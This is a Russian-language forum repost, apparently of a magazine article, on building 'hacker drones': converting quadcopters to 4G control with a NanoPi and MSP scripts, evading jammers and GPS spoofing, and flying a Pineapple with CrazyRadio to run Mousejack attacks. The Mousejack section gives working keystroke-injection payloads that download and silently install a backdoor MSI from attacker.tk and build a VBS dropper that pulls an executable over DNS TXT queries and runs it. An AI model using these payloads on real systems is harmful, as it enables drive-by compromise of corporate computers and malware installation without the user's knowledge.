Малварь как искусство Атака при помощи дрона


X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 082
Репутация
8 199
5762.970.jpg

Оригинал:

Ты сидишь за клавиатурой на одном из верхних этажей охраняемого здания, расположенного посреди закрытой территории в окружении забора с колючей проволокой под напряжением. Ты чувствуешь себя в полной безопасности — за ней следят не только камеры, но и бдительная охрана. За окном раздается подозрительное жужжание, ты отвлекаешься на непонятный источник звука, и этих нескольких секунд достаточно, чтобы на твой компьютер установился бэкдор, а хакер, расположенный в 20 км от тебя, проник в корпоративную сеть. Фантастика? Ничего подобного!

Дрон — отличный инструмент для злоумышленника, поскольку такой аппарат может нести на себе до трети собственного веса в виде полезной нагрузки. Но атаковать удаленный объект «по воздуху» не так‑то просто: «хакерский дрон» должен обладать высокой автономностью, управляться по защищенному каналу на расстоянии в десятки километров, а еще уметь противостоять средствам подавления и «глушилкам». Сегодня мы подробно расскажем, как устроены такие дроны и как их можно собрать из подручных средств, модифицировав обычный бюджетный квадрокоптер. И разумеется, о том, как эффективно противостоять таким хитрым девайсам.

Дроны стали незаменимы в самых разных областях, и сегодня они доступны практически каждому. Но что они могут дать хакеру?

Важная особенность дрона заключается в том, что к нему можно присоединить фактически что угодно. Таким образом дрон может значительно увеличить дистанцию применения атак, ведь он позволяет быстро получить физический доступ туда, куда нельзя добраться ногами. Дрон может преодолеть почти любое ограждение, подлететь к окнам высотного здания и, что немаловажно, сделать это достаточно быстро, а иногда и незаметно. Миниатюрные габариты позволяют ему пролететь даже в приоткрытое окно, проникнуть в помещение и молниеносно совершить компьютерные атаки. Одним словом, с таким средством доступной становится практически любая цель.

Это делает дрон крайне удобным для проведения быстрых атак, реализуемых через беспроводные технологии — то есть там, где требуется фиксированный и часто небольшой радиус действия. Так что атаки, показанные в некоторых компьютерных играх, вполне реальны.

РЕАЛИЗАЦИЯ​

Дроны в большинстве случаев управляются по радиоканалу. При этом частоты и протоколы для приема сигнала с пульта (RX), а также для передачи видео и телеметрии с дрона (TX) могут отличаться. В обобщенном виде это выглядит так:

  • RX по выделенным радиоканалам FRSKY, ELRS или TBS, TX аналоговый, реже цифровой выделенный канал (профессиональные дроны);
  • RX по выделенным радиоканалам, TX по Wi-Fi (самый распространенный вариант);
  • RX и TX по Wi-Fi (комнатные дроны).
Для атакующего дрон главным образом транспортное средство, поэтому он должен быть крепким и надежным. Поскольку почти все атаки так или иначе могут быть связаны с близким пролетом вблизи строений, а где‑то даже и внутри них, то куда важнее обеспечить максимальную защиту пропеллеров, нежели высокую скорость. Отличным выбором могут быть дроны с защитной рамой вокруг пропеллеров (Cinewhoop), как на следующем рисунке.

ris6-2.jpg


Такая конструкция не позволяет дрону разбиться в случае контакта со стеной или другими препятствиями. Дрон также должен иметь некоторый запас мощности, достаточный для подъема хакерских девайсов массой хотя бы с треть его веса.

Поскольку злоумышленник может атаковать отдаленные объекты, использовать для этого целесообразно дроны, управление которых завязано не на Wi-Fi. Ведь радиус Wi-Fi ограничен 50–100 м, и управляемость (отклик) ухудшается по мере отдаления дрона от пульта управления. Профессиональные дроны с выделенным радиоканалом управления (FRSKY, ELRS или TBS) подходят для подобных целей куда лучше. По прямой видимости дрон на таком управлении может улететь на несколько километров, и время отклика при этом держится на приемлемом уровне.

Раз летать злоумышленнику придется не в чистом поле, а вблизи зданий, где находятся объекты атак, то немаловажен и контроль над полетом. Дроны семейства FPV обеспечивают максимально возможное погружение и вид от первого лица.

Отличным выбором по гибкости, открытости компонентов и простоты станут популярные дроны с полетным контроллером системы Betaflight. Основные плюсы подобных открытых решений:

  • возможность модификации — всегда можно добавить или убрать тот или иной компонент (датчик высоты, GPS и прочее);
  • открытость — дрон всегда доступен для различных модификаций и нестандартных решений;
  • модульность — если дрон разобьется, то приобрести нужно будет только раму; полетный контроллер, приемник, пульт и очки остаются невредимыми.
На самом деле не так важна модель дрона, куда важнее умение хорошо летать. Прежде чем переходить к атакам с дрона, стоит немного поговорить, как возможно улучшить управление дрона и защитить его.

Управление через 4G​

Полеты среди зданий могут сильно уменьшить предельную дистанцию. Даже если у дрона супердальнобойная система связи, она не пробьет несколько бетонных стен, когда квадрокоптер залетит за здание.

Но что, если дрон будет управляться по мобильным сетям? В наше время хороший прием обеспечивается даже за пределами города, не говоря уже про здания. Сотовую связь можно использовать в качестве отличного канала для передачи данных. Тогда расстояние полета будет ограничено исключительно ресурсом аккумулятора.

Сегодня 4G-сети обладают достаточно высокой скоростью, но при их использовании отклик от пульта управления и картинка с камеры не передаются с той же скоростью, как на специально разработанных для этого радиопротоколах. Тем не менее полет вполне возможен. А с учетом скорости, с которой дроны способны лететь (200 км/ч), и запаса аккумулятора злоумышленник может атаковать цель на расстоянии более 20 км!

Итак, как перевести дрон на 4G-управление? Это должно быть не очень сложное решение, применимое к широкой линейке доступных моделей. Можно использовать, например, следующую схему.

4G → Wi-Fi-шлюз → дрон​

Самые простые и дешевые дроны полностью управляются по Wi-Fi. Внутри дрона запущена точка доступа Wi-Fi, мобильный телефон подключается к ней и через приложение отправляет команды в обычный UDP-порт. Видео с дрона идет в обратном направлении на телефон простым RTSP-стримом. Получается, дрон — это обычное сетевое устройство. Следовательно, если к нему прикрепить мини‑компьютер с 4G-модемом, то через VPN можно проброситься прямо в дрон с любого расстояния. И далее останется лишь отправлять закодированные команды управления моторами.

Однако в этом способе есть пара минусов. Во‑первых, скорее всего, придется иметь дело с закрытым протоколом и реверсить его с успешностью 50/50 — повезет или нет. Возможно, попадется шифрование, а возможно — аутентификация с неизвестным принципом. Словом, взламывать собственный дрон, чтобы полетать, несколько странно. Во‑вторых, в такие протоколы закладывают достаточно частую отправку пакетов от пульта на дрон. Это сделано для лучшего отклика при управлении. Кроме того, так дрон оперативно понимает, если сигнал с пультом теряется. Тут абсолютно невыгодно отправлять по сети одни и те же пакеты на дрон, ведь так 4G-канал управления будет забит, а по нему должно передаваться еще и видео.

4G → видеошлюз → дрон​

А что, если вместо сетевого шлюза для доступа к дрону воспользоваться видеошлюзом? То есть к квадрокоптеру прикрепить небольшой телефон, подключенный к нему по Wi-Fi, а к самому телефону подключиться с помощью средства удаленного управления? Ведь в любом случае видео с дрона нужно смотреть, только теперь это можно будет делать с экрана удаленного телефона.

Как ни странно, этот способ позволяет решить все проблемы. Телефон дает отвязку по трафику — все пакеты с требуемой скоростью он отправляет сам, пилот лишь через виртуальные стики на экране удаленного телефона управляет дроном. Также видеопоток с экрана телефона принимается уменьшенного качества, что еще немного увеличивает скорость передачи. Плюсом мобильное приложение берет на себя кодирование положений стиков пульта, так что ничего реверсить не требуется. Пример такой реализации приведен на следующем рисунке.

ris6-3_aJ7WwvC.jpg


Простой до невозможности трюк, но на самом деле он позволит преодолеть любые расстояния и преграды. Мини‑телефон, прикрепленный к дрону, всегда будет обеспечивать ему приемлемый уровень сигнала Wi-Fi, который на таком расстоянии крайне сложно заглушить подавителем. Также он дает развязку по трафику — не нужно принимать высококачественный стрим с дрона, а вместо этого достаточно лишь получить картинку с экрана телефона в разрешении 320 × 240, передача которой более надежна при просадках скорости мобильного соединения. Еще такой подход обеспечивает развязку и по протоколу: больше не нужно вникать в подробности кодирования положений стиков троттлинга, крена, углов атаки и рысканья — мобильное приложение все сделает самостоятельно.

Подключиться к дрону по 4G можно с любого устройства — хоть с ноутбука, хоть с телефона. Для этого можно использовать любое программное решение для облачного удаленного управления, например кросс‑платформенный AnyDesk.

ris6-4.png


Далее, используя простые средства автоматизации GUI, можно назначить тем или иным нажатиям на клавиатуре определенные действия с виртуальным пультом на экране:
Код:
#!/bin/bash
console=$(xdotool getactivewindow)
control=$(xwininfo | grep id | grep 'xwininfo:' | awk '{print $4}')
xdotool windowfocus $control
X=$(xwininfo -id $control | grep 'Absolute upper-left X:' | awk '{print $4}')
Y=$(xwininfo -id $control | grep 'Absolute upper-left Y:' | awk '{print $4}')
left_stick_x=$[$X+123]
left_stick_y=$[$Y+321]
right_stick_x=$[$X+456]
right_stick_y=$[$Y+321]
xdotool windowfocus $console
while read -rsn 1 key
do
  case "$key" in
    'A')
      echo 'throttle up'
      xdotool mousemove $left_stick_x $left_stick_y
      xdotool mousedown 1
      xdotool mousemove_relative -- '0' '-50'
      xdotool mouseup 1
      ;;
    'B')
      echo 'throttle down'
      xdotool mousemove $left_stick_x $left_stick_y
      xdotool mousedown 1
      xdotool mousemove_relative -- '0' '50'
      xdotool mouseup 1
      ;;
    'w')
      echo 'pitch forward'
      xdotool mousemove $right_stick_x $right_stick_y
      xdotool mousedown 1
      xdotool mousemove_relative -- '0' '-50'
      xdotool mouseup 1
      ;;
    's')
      echo 'pitch back'
      xdotool mousemove $right_stick_x $right_stick_y
      xdotool mousedown 1
      xdotool mousemove_relative -- '0' '50'
      xdotool mouseup 1
      ;;
    'a')
      echo 'roll left'
      xdotool mousemove $right_stick_x $right_stick_y
      xdotool mousedown 1
      xdotool mousemove_relative -- '-50' '0'
      xdotool mouseup 1
      ;;
    'd')
      echo 'roll right'
      xdotool mousemove $right_stick_x $right_stick_y
      xdotool mousedown 1
      xdotool mousemove_relative -- '50' '0'
      xdotool mouseup 1
      ;;
    'q')
      echo 'yaw left'
      xdotool mousemove $left_stick_x $left_stick_y
      xdotool mousedown 1
      xdotool mousemove_relative -- '-50' '0'
      xdotool mouseup 1
      ;;
    'e')
      echo 'yaw right'
      xdotool mousemove $left_stick_x $left_stick_y
      xdotool mousedown 1
      xdotool mousemove_relative -- '50' '0'
      xdotool mouseup 1
      ;;
  esac
  xdotool windowfocus $console
done

Тут в бесконечном цикле происходит ожидание нажатия тех или иных клавиш, после чего, в соответствии с нажатием, курсор мыши двигает виртуальный стик на экране удаленного телефона. Все максимально просто.

Данные о состоянии дрона (телеметрия) также в распоряжении оператора, пример представлен на следующем рисунке.

ris6-5.jpg


В зависимости от модели дрона и мобильного приложения картинка может отличаться. Используя те же самые средства автоматизации GUI, а также распознавание текста, можно реализовать произвольную обработку показаний телеметрии:

Код:
drone/telemetry.sh
#!/bin/bash
INTERVAL=1
control=$(xwininfo | grep id | grep 'xwininfo:' | awk '{print $4}')
while sleep $INTERVAL
do
    gm import -window $control /tmp/drone_telemetry.png
    gm convert /tmp/drone_telemetry.png -crop 240x60+740+58 /tmp/drone_telemetry-bat.png
    bat=$(tesseract /tmp/drone_telemetry-bat.png stdout -l eng 2> /dev/null | grep '^[0-9]' | awk '{print $1}')
    gm convert /tmp/drone_telemetry.png -crop 240x60+461+58 /tmp/drone_telemetry-alt.png
    alt=$(tesseract /tmp/drone_telemetry-alt.png stdout -l eng 2> /dev/null | grep '^[0-9]')
    if [ "$bat" -lt 10 ]; then
        echo 'low battery' | festival --tts --language english
    fi
    clear
    echo "$bat $alt"
done

Здесь выполняется цикличное распознавание текста различных областей экрана, на которых расположены те или иные показания. После их преобразования с изображения на экране в понятную компьютеру форму можно обрабатывать их дальше. В этом примере скрипт использует синтезатор речи для информирования о низком заряде аккумулятора.

С помощью этих примитивов управления и телеметрии можно полностью автоматизировать полет дрона.

Подобный подход чрезвычайно прост в исполнении и сразу открывает доступ и к управлению, и к телеметрии, но имеет лишнее звено — телефон с Wi-Fi. Сигнал от телефона может быть слишком сильный, что может негативно сказаться на управлении. Плюс ко всему дрон в этом случае вынужден поднимать достаточно большую лишнюю массу (около 50 г).

4G → UART → дрон​

Но зачем удаленно подключаться к дрону через его явные интерфейсы управления (по Wi-Fi)? Почему бы злоумышленнику не подключиться напрямую к его полетному контроллеру? В случае с дронами по типу «готового решения» можно столкнуться, скорее всего, все с той же проблемой — закрытым протоколом и необходимостью его реверсить.

Однако есть множество открытых решений для управления дронами, например прошивки Betaflight, iNav или Ardupilot. Самое простое из них — Betaflight среди прочего поддерживает прямую отправку команд управления моторами в полетный контроллер через уже знакомый UART. Это значит, что управлять дроном можно почти с любого одноплатника. Стоит лишь подключить к нему 4G-модуль и настроить VPN. Все‑таки с открытыми решениями работать куда приятнее.

Итак, атакующему сначала необходим одноплатный компьютер минимального размера и массы, а также 4G-модем. Отличный вариант — NanoPi Neo Air и Sim7600G, оба устройства миниатюрны и практически идентичны по габаритам.

ris6-6_1jENbfl.jpg


Взаимодействие с 4G-модемом идет по UART-интерфейсу, которых у NanoPi целых три. Первый UART можно использовать для интернет‑канала, а второй уже для связи с дроном. На следующем рисунке представлена распиновка контактов на мини‑компьютере NanoPi для управления дроном и связи по 4G.

ris6-7.jpg


После небольшой пайки модуль удаленного управления по 4G может выглядеть так, как продемонстрировано на следующем рисунке.

ris6-8_1CLGi0a.jpg


Даже самые простые полетные контроллеры часто имеют минимум два UART-интерфейса, один из которых, скорее всего, занят штатным приемником, а второй как раз можно использовать для удаленного управления по 4G. Подключение NanoPi к полетному контроллеру происходит аналогично штатному приемнику — с помощью UART.

ris6-9.jpg


Так можно переключать дрон на тот или иной режим управления без физического вмешательства и перепайки, исключительно программным способом (о нем чуть позже). Все, что требуется, — только прикрепить NanoPi + Sim7600G и соединить соответствующий шлейф. В итоге дрон с 4G-управлением выглядит примерно так.

ris6-10_hidWOgP.jpg


В зависимости от размеров и формы дрона плату можно устанавливать в разных местах и даже внутри корпуса рамы. Можно даже распечатать соответствующие крепления на 3D-принтере.

Пора перейти к программной настройке. Одноплатный компьютер NanoPi крайне удобен в настройке — он эмулирует консоль прямо по USB, когда на него подается питание. Все, что требуется для работы с ним, — это лишь открыть консоль непосредственно на USB:

Код:
minicom -D /dev/ttyACM0 -b 9600

Далее все действия производятся уже внутри NanoPi. Сначала необходимо отключить все лишнее:

Код:
systemctl disable wpa_supplicant.service
systemctl disable NetworkManager.service

И активировать два UART:

Код:
armbian-config
 System -> Hardware:
    Включаем uart1 и uart2, перезагружаемся

Далее нужно поставить необходимые пакеты:

Код:
apt install minicom openvpn python3-pip cvlc

Minicom не обязателен, но он может потребоваться для пусконаладки — проверки, правильно ли работает UART и на каком порте что у нас расположено. Например, так можно удостовериться, что NanoPi и Sim7600G-модем слышат друг друга через первый UART-интерфейс:

Код:
minicom -D /dev/ttyS1 -b 115200
AT

Если все ок, то для модема должна быть прописана конфигурация мобильного подключения:

/etc/ppp/peers/tele2
Код:
connect "/usr/sbin/chat -v -f /etc/chatscripts/gprs -T internet.tele2.ru"
/dev/ttyS1
115200
noipdefault
usepeerdns
defaultroute
persist
noauth
nocrtscts
local
user "tele2"
password "tele2"
debug
refuse-chap
refuse-mschap
refuse-mschap-v2
refuse-eap

/etc/chatscripts/gprs​

Код:
ABORT           BUSY
ABORT           VOICE
ABORT           "NO CARRIER"
ABORT           "NO DIALTONE"
ABORT           "NO DIAL TONE"
ABORT           "NO ANSWER"
ABORT           "DELAYED"
ABORT           "ERROR"
ABORT           "+CGATT: 0"
""              AT
TIMEOUT         12
OK              ATH
OK              ATE1
OK              AT+CGDCONT=1,"IP","\T","",0,0
OK              ATD*99#
TIMEOUT         22
CONNECT         ""

Теперь, чтобы активировать 4G, выполняем следующую команду:
Код:
pon tele2

Если сеть появилась и ping идет, значит, эти две крошечные платы всегда смогут выйти на связь по 4G-интернету, где бы они ни находились. Чтобы при включении устройства сразу поднималась сеть, нужно подготовить следующий файл:

/etc/network/interfaces​


Код:
auto tele2
iface tele2 inet ppp
provider tele2

Мобильный интернет — это лишь физический линк. Далее требуется логический линк, чтобы можно было выйти на связь с устройством. Для этого нужно подключить устройство к некоторому опорному серверу по VPN:

Код:
cp your_vds.ovpn /etc/openvpn/client/vds.conf
systemctl enable openvpn-client@vds

Если все прошло нормально, то теперь всегда после включения устройства к нему можно получить доступ, соединившись с ним по VPN через выделенный опорный сервер. Настало время немного поговорить о том, как NanoPi может управлять двигателями дрона.

Современные полетные контроллеры — весьма сложные устройства, которые, как правило, поддерживают массу протоколов управления. И если на физическом уровне для связи с полетным контроллером используется UART, то на логическом проще всего реализовать управление через протокол MSP и соответствующую Python-библиотеку:

Код:
cd /opt/
git clone https://github.com/alduxvm/pyMultiWii
pip3 install pyserial

Протокол достаточно простой, а сама библиотека требует лишь знания номера порта. NanoPi подключен к полетному контроллеру дрона с помощью UART2, следовательно, это ttyS2-порт. Имея порт, можно уже отправлять значения основных каналов: крена, оборотов пропеллеров и так далее, а также вспомогательных каналов:

~/src/control.py​

Код:
#!/usr/bin/python3
from sys import path; path.append("/opt/pyMultiWii/")
from time import sleep
from threading import Thread
from pymultiwii import MultiWii
board = MultiWii("/dev/ttyS2")
roll=1500
pitch=1500
throttle=988
yaw=1500
aux1=1000
aux2=1500
aux3=1500
aux4=1500
def arm():
    global aux1
    aux1 = 2000
def disarm():
    global aux1
    aux1 = 1000
def send():
    INTERVAL = 0.01
    while True:
        board.sendCMD(16, MultiWii.SET_RAW_RC, [roll,pitch,throttle,yaw,aux1,aux2,aux3,aux4])
        sleep(INTERVAL)
main = Thread(target=send, args=())
main.start()
do_something()
main.join()

Стоит отметить, что, даже если дрон не летит и на его двигатели не подаются никакие команды, на него все равно должны непрерывно отправляться данные с нейтральными значениями стиков управления, причем достаточно часто. Так полетный контроллер понимает, что связь с приемником все еще поддерживается.

Чтобы полетный контроллер знал, откуда брать команды управления двигателями, в его настройках нужно указать, что NanoPi физически соединен с его интерфейсом UART2, а программно используется протокол MSP. Для Betaflight cделать это можно с помощью программы BetaflightConfigurator, как показано на следующих рисунках.

ris6-11.png


ris6-12.png


Если все сделано правильно, то с любого расстояния появится возможность удаленно управлять таким дроном, пока есть сигнал мобильных сетей и, конечно же, пока не сел аккумулятор.

Передавать видео можно, подсоединив DVP-камеру напрямую к плате NanoPi. А стрим картинки с нее по сети возможен посредством следующего кода:

Код:
cvlc v4l2:///dev/video0:chroma=h264:width=800:height=600 --sout '#transcode {vcodec=h264,acodec=mp3,samplerate=44100}:std{access=http,mux=ffmpeg{mux=flv},dst=0.0.0.0:8080}' –vvv

Чтобы удаленно видеть картинку с дрона на любом расстоянии, нужно просто открыть в браузере «http://drone:8080/», где drone — IP-адрес VPN NanoPi.

Приведенные выше шаги реализации управления дроном через мобильные сети — это лишь концепт, демонстрирующий все необходимые примитивы связей. Чтобы дрон реально полетел и не разбился, требуется реализовать еще удобный интерфейс управления.

Этого можно добиться через подключение пульта, например EdgeTX, способного работать как HID-устройство. А также через трансляции положений его стиков в команды управления, которые передаются по сети на NanoPi, интерпретируются там в соответствующие MSP-команды и по UART попадают на полетный контроллер.

А можно пойти более универсальным способом, позволяющим управлять полетом без специального оборудования, прямо с клавиатуры ноутбука или экрана телефона. Это проще всего реализовать через небольшое веб‑приложение, средствами JavaScript, считывая соответствующие события клавиатуры и нажатия по виртуальным стикам в сообщения, оперативно передаваемые по сети через WebSockets на NanoPi.

Для систем под управлением Ardupilot существуют даже готовые решения.

Защита от глушилок​

Проблему помех от зданий и ограниченного радиуса управления можно решить представленными выше способами, превратив вышки сотовой связи из главного источника помех в лучшего друга.

Но для дронов есть еще одна опасность, которая их может поджидать непосредственно на самих объектах, — это подавители дронов, или глушилки.

Для большинства подобных устройств must-have является подавление частот 2,4 ГГц, на которых летает подавляющее большинство простых дронов (с управлением по Wi-Fi). Сюда же попадает часть частот и профессиональных дронов. У серьезных глушителей дронов в частотах подавления учтены каналы управления всех профессиональных протоколов (TBS, ELRS, FRSKY и прочих) — 800, 900, 2400 МГц.

Однако самая распространенная мера противодействия дронам — глушение или спуфинг сигналов GPS. Подделав сигналы со спутников, дрону можно внушить любое местоположение, что может быть использовано для контроля над его перемещением. Так как в достаточно многих протоколах управления дронами применяется серьезное шифрование, вполне логичной выглядит атака на GPS, так как она представляется наиболее общей. Поэтому GPS-приемник оказывается еще одним слабым местом дронов. И потенциальный злоумышленник, не желающий, чтобы его дрон был сбит такой глушилкой, должен избавиться от GPS.

В некоторых «готовых» моделях дронов бортовой GPS можно отключить программно. FPV-дроны Cinewhoop часто используются в полетах по помещениям, где, как известно, GPS практически не ловится. Поэтому часто GPS-приемники в такие модели не ставят. Дроны с открытыми системами управления, такими как Betaflight, имеют модульную структуру и всегда позволяют как включить, так и отключить бортовой GPS, чего нельзя сказать о более бюджетных вариантах, которые просто отказываются лететь без него.

Что касается глушения каналов управления, то заглушить дрон с управлением по мобильным сетям тоже не так‑то просто. Ведь теперь нужно подавлять сразу ряд диапазонов мобильных сетей разных поколений. А вариантов частот у 2G, 3G и 4G немало. Если заглушить все 4G-сети (2600, 1900, 2300, 2500 МГц), модем дрона перейдет на 3G (2100, 1900, 1800, 850, 2600, 900, 800 МГц), заглушаем и их — перейдет на 2G (900, 1800, 1900 МГц).

Тем не менее существуют направленные радиопушки, отключающие мощным импульсом вообще все радио, но им, впрочем, требуется достаточно точное наведение на цель.

PINEAPPLE​

Время поподробнее рассмотреть сами атаки. Для хакера дрон лишь транспорт. Реально все атаки злоумышленник может проводить с помощью некоторого миниатюрного устройства, прикрепленного к такому дрону. Это может быть уже знакомый Он без проблем поместится на любой дрон, ведь он маленький и легкий.

ris6-13_8q1t4xt.jpg


Так как этот хакерский девайс может доставляться на место хоть дроном, хоть почтовым голубем, то важна его масса. Суммарно масса такого Pineapple вместе с аккумулятором получается всего от 17 до 43 г, в зависимости от типа батареи. Дроны имеют запас мощности для противодействия ветру и установки экшн‑камер и спокойно могут поднять от трети до половины своей изначальной массы без значительной потери летных характеристик. Так что с таким грузом справится почти любой, даже карманный селфи‑дрон. И это еще одно несомненное преимущество перед громоздким готовым устройством Pineapple от hak5 — его сможет поднять далеко не каждый дрон.

Молниеносность — это главное условие, которое потенциальный злоумышленник учитывает при планировании атак с дрона. Если в предыдущей статье про Pineapple рассмотрены статичные атаки на беспроводные сети, когда требуется долго находиться в неподвижной точке, то с дроном целесообразнее проводить динамичные атаки — быстрые и мобильные, покрывающие множество целей.

Но какие беспроводные технологии могут быть атакованы столь стремительно, что у дрона не успеет сесть аккумулятор? Вполне очевидно, что это должны быть атаки, слабо завязанные на людей, так как людям часто требуется много времени, чтобы принять решение. Другое дело — чисто компьютерные атаки, не требующие никакого участия пользователя. Машины не так медлительны, как человек, и есть несколько zero click атак, проведение которых занимает несколько секунд. При этом дрону не нужно даже совершать коротких остановок — все может происходить прямо во время полета.

Далее представлено несколько таких атак, начиная с самых критичных.

Mousejack​

Существует распространенная уязвимость, надежно, на десятилетия засевшая в сотнях тысяч беспроводных мышек и клавиатур. Ее эксплуатация возможна с кинематографичной эффективностью — высочайшей скоростью (одна‑две секунды) и максимальным импактом — RCE, и атакующий сразу получает шелл. И имя ей — Mousejack.

Атака на беспроводные HID-устройства (мыши и клавиатуры) — это, пожалуй, самая зрелищная атака, способная скомпрометировать компьютер за секунды. Она считается самой опасной из всех возможных атак, так как позволяет минимальными усилиями, по радиоканалу, удаленно отправить произвольные нажатия клавиш, иными словами, выполнить произвольный код. Никаких предварительных подборов паролей, особых действий пользователя — сразу RCE.

Эту атаку можно эффективно проводить с помощью специального устройства CrazyRadio PA и любого одноплатника, например Raspberry, или уже знакомого нам устройства Pineapple, разработанного специально для атак на беспроводные сети. Условие старта для атаки может быть добавлено так:

startup.sh​


Код:
...
elif lsusb | grep -q 'Nordic Semiconductor'; then
  echo "[*] mousejack attack"
  cd mousejack
  screen -dmS mousejack -t jackit -L -Logfile "$time-mousejack-%n.log" './mousejack.sh'
  cd -
...

Иными словами, если в Pineapple вставлен донгл CrazyRadio PA, то автоматически запускается атака на беспроводные мыши и клавиатуры:

mousejack/mousejack.sh​


Код:
#!/bin/bash
led green on
python3 jackit --autopwn --script ducky.txt
led green off

Так как атакующий не знает адреса беспроводных устройств, он вынужден атаковать все, что слышит в радиоэфире, поэтому используется флаг autopwn.

Если соединить CrazyRadio с Pineapple, получится очень опасное хакерское устройство.

ris6-14_zWCkhZw.jpg


Дрон с таким устройством сможет пробить периметр практически любой компании.

ris6-15_VwRZiPV.jpg


Такой дрон будет атаковать все устройства вокруг себя, пока летит.

Эксплуатация Mousejack очень похожа на BadUSB-hid. Тут атакующий сталкивается с теми же проблемами при наборе команд:

  • при использовании нажатий клавиш приходится угадывать языковую раскладку;
  • при использовании ALT-кодов для набора текста команд (возможно только на Windows) — угадывать статус клавиши Num Lock.
И в том и в другом случае злоумышленнику придется для надежности засылать нажатия дважды, меняя либо раскладку, либо статус NumLock. Но в случае с ALT-кодами понадобится в три‑четыре раза больше нажатий. А если нет разницы, то зачем передавать больше? В общем, тут снова рациональнее использовать простой метод отправки нажатий непосредственно самих клавиш вместо их кодов:

mousejack/ducky.txt​


Код:
GUI SPACE
GUI r
DELAY 300
STRING msiexec /i https://en.attacker.tk/backdoor.msi /quiet
DELAY 300
ENTER
SHIFT ALT
DELAY 300
SHIFT CTRL
DELAY 300
GUI r
DELAY 300
STRING msiexec /i https://ru.attacker.tk/backdoor.msi /quiet
DELAY 300
ENTER

Так как используется радиоканал, атакующий неизбежно столкнется с помехами. Чем длиннее набираемая команда, тем больше вероятность, что та или иная клавиша «не долетит». Достаточно всего одной ошибки, чтобы RCE-команда не распозналась.

Приведенный здесь пример уже знаком читателям по . Эта возможность имеется в любой ОС Windows, она позволяет за одно действие скачать и запустить указанную программу удаленного управления. Под ОС семейства Unix злоумышленник может использовать команду из разряда curl -L .

Далее успешность атаки зависит только от ловкости управления дроном и наличия беспроводных мышек в радиусе около 10–15 м. Pineapple на дроне будет пытаться взломать каждый компьютер через вновь пойманный радиосигнал от мышки или клавиатуры. Эффект атаки делает ее похожей на фильм или игру про хакеров, где взлом с помощью дрона происходит за несколько секунд.

ris6-16_DiO1Ejg.jpg


Реальный мир отличается от вымышленного. Большая часть из того, что показано в играх и фильмах о возможностях хакеров, имеет мало общего с реальностью, но эта атака — одна из немногих, которые в жизни выглядят точно так же, как на экране.

Представь: ты сидишь дома или работаешь в офисе, где‑нибудь на верхних этажах или в глубине режимного объекта, в сотнях метров от охраняемого контрольно‑пропускного пункта. Кажется, что ты в полной информационной безопасности и внешний нарушитель до тебя не доберется. Но тут к зданию подлетает подобный дрон, и, пока ты удивленно смотришь на него через окно (а возможно, ты даже и не заметишь его вовсе), он всего за секунду запустит вредоносный код на твоем компьютере. Так что ты вряд ли успеешь заметить что‑либо подозрительное, а если и заметишь, то вряд ли сопоставишь появление в небе дрона с установкой бэкдора на твоем компьютере. С использованием этого метода злоумышленник сможет проникнуть в корпоративную сеть — последствия этого, думаю, объяснять

ris6-17_gbDFgaq.jpg


Дрон использует еще и эффект отвлечения: пользователь смотрит в окно, пока на его ноутбуке на долю секунды всплывает окно «Пуск → Выполнить» и запускается бэкдор или RAT. Через пару минут, вероятно, злоумышленник уже успеет опробовать пару‑тройку эксплоитов.

По иронии судьбы чаще всего беспроводные мышки и клавиатуры есть либо у IT-персонала, либо у руководителей. Так что добыча злоумышленника будет сразу весомая. Возможно, это окажется комп доменного администратора, в таком случае события уже во внутренней сети будут развиваться стремительно. А возможно, это будет какой‑то начальник, на рабочем столе которого много ценных файлов. Словом, какой бы компьютер это ни был, он, скорее всего, подключен к внутренней сети, а значит, злоумышленник почти наверняка достигнет главной цели — пробития периметра.

Чтобы пробить периметр описанным способом, с компьютера, подверженного этой атаке, должен быть выход в интернет до опорного сервера злоумышленника. Оттуда он скачивает и запускает бэкдор, на который потом поступают команды управления. Но далеко не в каждой внутренней сети разрешены прямые соединения на внешние IP-адреса. Однако популярные методы эксфильтрации, такие как DNS, вполне могут работать, и произвольные запросы, содержащие данные, могут выходить из сети наружу почти всегда. Это значит, что такой канал может быть использован как транспорт для скачивания бэкдора и его последующей работы.

Реализовать загрузку нужной хакеру программы по DNS можно и базовыми средствами любой ОС. Например, для Windows самым переносимым способом является VBS-скрипт, который написан на полноценном интерпретируемом языке программирования (смотри ). Но размер вводимой в окно «Выполнить» команды ограничен, и для набора VBS-скрипта, загружающего средство удаленного управления через DNS, злоумышленнику потребуются минимум три команды:

mousejack/ducky-dnsexec.txt​


Код:
GUI r
DELAY 300
STRING cmd /C "(echo On Error Resume Next& echo Set objShell = CreateObject^("WScript.Shell"^)& echo Set writer = CreateObject^("Scripting.FileSystemObject"^).createtextfile^("out.exe"^))>1.vbs& ping x1.attacker.tk"
ENTER
GUI r
DELAY 300
STRING cmd /C "(echo For d = 1 To 927& echo pos = 0& echo While pos = 0& echo Set exec = objShell.Exec^("nslookup -type=txt d"^&d^&".txt.attacker.tk"^)& echo res = exec.Stdout.ReadAll^(^))>>1.vbs& ping x2.attacker.tk"
ENTER
GUI r
DELAY 300
STRING cmd /C "(echo pos = inStr^(1,res,"?"^)& echo txt = Mid^(res,pos+1,253^)& echo Wend& echo For b = 0 To Len^(txt^)/2-1& echo writer.Write Chr^(CInt^("^&H" ^& Mid^(txt,1+b*2,2^)^)^)& echo Next& echo Next)>>1.vbs& ping x3.attacker.tk"
ENTER
GUI r
DELAY 300
STRING cmd /C "wscript 1.vbs & out.exe"
ENTER

При выполнении команд на сервер злоумышленника должно прийти три DNS-отстука, означающих успешность набора команд.

Это отличный пример того, как ты или твоя компания могут быть легко взломаны, причем даже без дрона (об этом в одной из следующих статей). И чем больше компания, тем выше вероятность встретить подверженную уязвимостям беспроводную периферию. Мой опыт показывает: несмотря на то что эта уязвимость найдена еще в 2016 году, о ней до сих пор мало кто знает. А те, кто знает, сильно ее недооценивают. Тем не менее встречается она повсеместно. А аппаратная специфика этой уязвимости обеспечивает ей еще достаточно долгую жизнь, ведь компьютерные мышки мы не привыкли менять так же часто, как телефоны.

Атака EAP​

В уже рассматривались атаки на WPA Enterprise, но там описано возможное их применение в статичном режиме — с ожиданием попадания клиентов в радиус действия. С дроном хакер может провести такую атаку в ином ключе — динамично, самостоятельно обнаруживая и атакуя клиентские устройства.

Теперь он в состоянии облететь каждое здание, где размещаются цели атак. Так как отправка учетных данных WPA Enterprise не требует участия пользователя, она происходит достаточно быстро, что делает эту атаку возможной даже без остановки пролетающего мимо дрона.

